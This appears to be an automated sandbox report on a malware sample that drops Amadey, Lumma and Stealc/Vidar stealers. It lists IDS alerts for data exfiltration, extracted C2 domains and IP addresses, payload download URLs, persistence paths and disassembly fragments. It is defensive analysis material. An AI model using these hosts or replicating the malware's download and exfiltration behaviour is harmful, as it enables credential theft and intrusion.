2024-12-12T14:26:14.296670+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49753	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-12T14:26:10.089179+0100	2803305	3	Unknown Traffic	192.168.2.4	49758	31.41.244.11	80	TCP
2024-12-12T14:26:17.264786+0100	2803305	3	Unknown Traffic	192.168.2.4	49775	31.41.244.11	80	TCP
2024-12-12T14:26:24.550894+0100	2803305	3	Unknown Traffic	192.168.2.4	49801	31.41.244.11	80	TCP
2024-12-12T14:26:36.554755+0100	2803305	3	Unknown Traffic	192.168.2.4	49837	31.41.244.11	80	TCP
2024-12-12T14:26:50.865239+0100	2803305	3	Unknown Traffic	192.168.2.4	49865	31.41.244.11	80	TCP
2024-12-12T14:26:58.231333+0100	2803305	3	Unknown Traffic	192.168.2.4	49878	31.41.244.11	80	TCP
2024-12-12T14:27:10.045784+0100	2803305	3	Unknown Traffic	192.168.2.4	49907	185.215.113.16	80	TCP
2024-12-12T14:27:19.634322+0100	2803305	3	Unknown Traffic	192.168.2.4	49928	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: yiDQb6GkBq.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://31.41.244.11/files/fate/random.exe	Avira URL Cloud: Label: phishing
Source: https://grahm.xyz	Avira URL Cloud: Label: malware
Source: https://drive-connect.cyou/api	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/steam/random.exe/0	Avira URL Cloud: Label: malware
Source: https://drive-connect.cyou/Jg	Avira URL Cloud: Label: malware
Source: https://grahm.xyz/?E	Avira URL Cloud: Label: malware
Source: https://grahm.xyz/(	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/encoxx/random.exe	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/steam/random.exe#0	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/hell911/random.exe	Avira URL Cloud: Label: phishing
Source: https://drive-connect.cyou:443/api	Avira URL Cloud: Label: malware
Source: https://grahm.xyz?E	Avira URL Cloud: Label: malware
Source: https://grahm.xyz/	Avira URL Cloud: Label: malware
Source: https://grahm.xyz/1	Avira URL Cloud: Label: malware
Source: drive-connect.cyou	Avira URL Cloud: Label: malware
Source: https://grahm.xyz/3E	Avira URL Cloud: Label: malware
Source: https://drive-connect.cyou/apiE#	Avira URL Cloud: Label: malware
Source: https://grahm.xyz/;	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/5996006993/M5iFR20.exe	Avira URL Cloud: Label: phishing
Source: https://grahm.xyz/=	Avira URL Cloud: Label: malware
Source: https://drive-connect.cyou/apii	Avira URL Cloud: Label: malware
Source: https://drive-connect.cyou/apiv	Avira URL Cloud: Label: malware
Source: https://grahm.xyz/c	Avira URL Cloud: Label: malware
Source: https://drive-connect.cyou/	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\W4KLQf7[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1350985
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Avira: detection malicious, Label: HEUR/AGEN.1306956
Source: C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe	Avira: detection malicious, Label: HEUR/AGEN.1320706
Source: C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe	Avira: detection malicious, Label: HEUR/AGEN.1306956
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1320706
Source: C:\Users\user\AppData\Local\Temp\1014365001\W4KLQf7.exe	Avira: detection malicious, Label: HEUR/AGEN.1350985
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Avira: detection malicious, Label: TR/ATRAPS.Gen

Found malware configuration

Source: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 39.2.6f79b29ee1.exe.400000.0.raw.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["covery-mover.biz", "formy-spill.biz", "zinc-sneark.biz", "se-blurry.biz", "impend-differ.biz", "drive-connect.cyou", "print-vexer.biz", "dare-curbys.biz", "dwell-exclaim.biz"], "Build id": "FATE99--test"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\W4KLQf7[1].exe	ReversingLabs: Detection: 21%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\M5iFR20[1].exe	ReversingLabs: Detection: 13%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	ReversingLabs: Detection: 65%
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	ReversingLabs: Detection: 13%
Source: C:\Users\user\AppData\Local\Temp\1014365001\W4KLQf7.exe	ReversingLabs: Detection: 21%
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	ReversingLabs: Detection: 65%
Source: C:\Users\user\AppData\Local\Temp\1014404001\0685f09fda.exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 57%
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe	ReversingLabs: Detection: 13%

Multi AV Scanner detection for submitted file

Source: yiDQb6GkBq.exe

ReversingLabs: Detection: 57%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.5% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\M5iFR20[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1014402001\6f79b29ee1.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1014398001\87538ab999.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1014081001\M5iFR20.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1014404001\0685f09fda.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1014405001\95025a00c8.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: yiDQb6GkBq.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000027.00000002.3069524552.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: impend-differ.biz
Source: 00000027.00000002.3069524552.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: print-vexer.biz
Source: 00000027.00000002.3069524552.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: dare-curbys.biz
Source: 00000027.00000002.3069524552.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: covery-mover.biz
Source: 00000027.00000002.3069524552.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: formy-spill.biz
Source: 00000027.00000002.3069524552.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: dwell-exclaim.biz
Source: 00000027.00000002.3069524552.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: zinc-sneark.biz
Source: 00000027.00000002.3069524552.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: se-blurry.biz
Source: 00000027.00000002.3069524552.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: drive-connect.cyou
Source: 00000027.00000002.3069524552.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000027.00000002.3069524552.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000027.00000002.3069524552.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000027.00000002.3069524552.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000027.00000002.3069524552.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000027.00000002.3069524552.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: FATE99--test

Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe

Code function: 9_2_00A213F0 CoResumeClassObjects,CryptContextAddRef,GetLastError,

9_2_00A213F0

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe

Unpacked PE file: 38.2.5799e5ec40.exe.400000.0.unpack

Source: yiDQb6GkBq.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\1014403001\5799e5ec40.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Source: unknown	HTTPS traffic detected: 104.21.79.7:443 -> 192.168.2.4:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 94.154.172.218:443 -> 192.168.2.4:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 94.154.172.218:443 -> 192.168.2.4:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 94.154.172.218:443 -> 192.168.2.4:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 94.154.172.218:443 -> 192.168.2.4:49826 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.4:49877 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.79.7:443 -> 192.168.2.4:49884 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 116.203.10.31:443 -> 192.168.2.4:49885 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.79.7:443 -> 192.168.2.4:49900 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 94.154.172.218:443 -> 192.168.2.4:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.79.7:443 -> 192.168.2.4:49912 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.79.7:443 -> 192.168.2.4:49926 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 94.154.172.218:443 -> 192.168.2.4:49931 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 94.154.172.218:443 -> 192.168.2.4:49940 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 94.154.172.218:443 -> 192.168.2.4:49949 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 94.154.172.218:443 -> 192.168.2.4:49952 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 94.154.172.218:443 -> 192.168.2.4:49964 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 94.154.172.218:443 -> 192.168.2.4:49979 version: TLS 1.2

Source:

Binary string: C:\Users\Administrator\Desktop\Cryptor2\Workspace\940993430\Project\Release\Project.pdb source: 0685f09fda.exe, 00000028.00000002.3071385876.000000000043C000.00000002.00000001.01000000.00000010.sdmp, 0685f09fda.exe, 00000028.00000000.2912408040.000000000043C000.00000002.00000001.01000000.00000010.sdmp, 0685f09fda.exe.6.dr, random[1].exe0.6.dr

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe	File opened: C:\Users\user\AppData\
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe	File opened: C:\Users\user\
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M5iFR20.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\

Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+05h]	9_2_0040A960
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then mov edx, ecx	9_2_00409CC0
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then mov byte ptr [edx], bl	9_2_0040CE55
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	9_2_0042A060
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-0BF7BDDDh]	9_2_00425F7D
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then mov edx, ecx	9_2_0041D074
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then mov edx, ecx	9_2_0041D087
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then mov byte ptr [esi], cl	9_2_0042D085
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then mov byte ptr [esi], cl	9_2_0042D085
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+79314A46h]	9_2_00426170
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then movzx edi, byte ptr [esi+eax-000000BCh]	9_2_0041597D
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then movzx edi, byte ptr [esi+eax-000000BCh]	9_2_00416E97
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then mov edi, eax	9_2_00416E97
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then mov ebx, eax	9_2_00405910
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then mov ebp, eax	9_2_00405910
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then cmp dword ptr [ebx+esi*8], B430E561h	9_2_00425920
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then mov word ptr [eax], cx	9_2_004286F0
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then movzx edi, byte ptr [esi+eax-000000BCh]	9_2_00417190
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then mov ecx, eax	9_2_00422270
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then mov byte ptr [edi+ebx], 00000000h	9_2_0040C274
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then mov eax, dword ptr [00444284h]	9_2_00425230
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	9_2_0043CAC0
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+1Ch]	9_2_004292D0
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then mov edx, ebx	9_2_004292D0
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then add ebp, dword ptr [esp+0Ch]	9_2_0042AAD0
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then mov byte ptr [eax], cl	9_2_00415ADC
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then push eax	9_2_0040C36E
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then movzx ebx, bx	9_2_0042536C
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then movzx ebx, byte ptr [ecx+esi]	9_2_00402B70
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then mov word ptr [ecx], dx	9_2_00427307
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then movzx ebp, word ptr [ecx+ebx*2]	9_2_00436B20
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	9_2_0043DBD0
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	9_2_0043CBD6
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	9_2_00407470
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	9_2_00407470
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then jmp eax	9_2_0042B475
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], B430E561h	9_2_00419C10
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	9_2_0043CCE0
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 29DF508Eh	9_2_0043DCF0
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then mov byte ptr [ebx], al	9_2_0042B4BB
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	9_2_0043CD60
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	9_2_004345F0
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+2Ch]	9_2_00427653
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	9_2_0043CE00
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	9_2_0042A630
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax+36A27D27h]	9_2_0042C6D7
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then mov byte ptr [esi], al	9_2_0042C6D7
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+07540F19h]	9_2_0042C6D7
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+07540F19h]	9_2_0042C6D7
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-41h]	9_2_004296D8
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then movzx edi, byte ptr [esi+ecx-000000BCh]	9_2_00415EE0
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then mov word ptr [eax], cx	9_2_00421EE0
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then cmp al, 2Eh	9_2_004266E7
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then mov word ptr [eax], cx	9_2_004286F0
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then mov word ptr [eax], dx	9_2_00417E82
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then cmp dword ptr [edi+ebp*8], 299A4ECDh	9_2_0043E690
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then movzx edi, byte ptr [esi+eax-000000BCh]	9_2_00416E97
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then mov edi, eax	9_2_00416E97
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then cmp word ptr [ebp+edx+02h], 0000h	9_2_0041CEA5
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then add ebx, 03h	9_2_00428F5D
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-0BF7BDDDh]	9_2_00425F7D
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then cmp dword ptr [ecx+edx*8], B430E561h	9_2_00414F08
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then mov ecx, edx	9_2_00414F08
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then mov word ptr [eax], cx	9_2_00420717
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then mov word ptr [ecx], dx	9_2_00420717
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-51BA460Ah]	9_2_0042BFD3
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-51BA460Ah]	9_2_0042BFDA
Source: C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 2298EE00h	9_2_0043DFB0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49747 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49753
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49773 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49794 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49832 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49860 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49852 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49871 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49901 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49920 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058159 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fightlsoser .click) : 192.168.2.4:57892 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058160 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fightlsoser .click in TLS SNI) : 192.168.2.4:50056 -> 172.67.213.48:443
Source: Network traffic	Suricata IDS: 2058160 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fightlsoser .click in TLS SNI) : 192.168.2.4:50073 -> 172.67.213.48:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49926 -> 104.21.79.7:443
Source: Network traffic	Suricata IDS: 2018886 - Severity 1 - ET MALWARE Windows TaskList Microsoft Windows DOS prompt command exit OUTBOUND : 192.168.2.4:49940 -> 94.154.172.218:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50056 -> 172.67.213.48:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49781 -> 104.21.79.7:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49781 -> 104.21.79.7:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:50073 -> 172.67.213.48:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50073 -> 172.67.213.48:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50056 -> 172.67.213.48:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49900 -> 104.21.79.7:443
Source: Network traffic	Suricata IDS: 2018886 - Severity 1 - ET MALWARE Windows TaskList Microsoft Windows DOS prompt command exit OUTBOUND : 192.168.2.4:49796 -> 94.154.172.218:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49900 -> 104.21.79.7:443
Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST : 192.168.2.4:49908 -> 116.203.10.31:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49884 -> 104.21.79.7:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49884 -> 104.21.79.7:443
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 116.203.10.31:443 -> 192.168.2.4:49914

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: covery-mover.biz
Source: Malware configuration extractor	URLs: formy-spill.biz
Source: Malware configuration extractor	URLs: zinc-sneark.biz
Source: Malware configuration extractor	URLs: se-blurry.biz
Source: Malware configuration extractor	URLs: impend-differ.biz
Source: Malware configuration extractor	URLs: drive-connect.cyou
Source: Malware configuration extractor	URLs: print-vexer.biz
Source: Malware configuration extractor	URLs: dare-curbys.biz
Source: Malware configuration extractor	URLs: dwell-exclaim.biz
Source: Malware configuration extractor	IPs: 185.215.113.43

Performs DNS queries to domains with low reputation

Source:	DNS query: grahm.xyz
Source:	DNS query: ikswccmqsqeswegi.xyz
Source:	DNS query: aukuqiksseyscgie.xyz
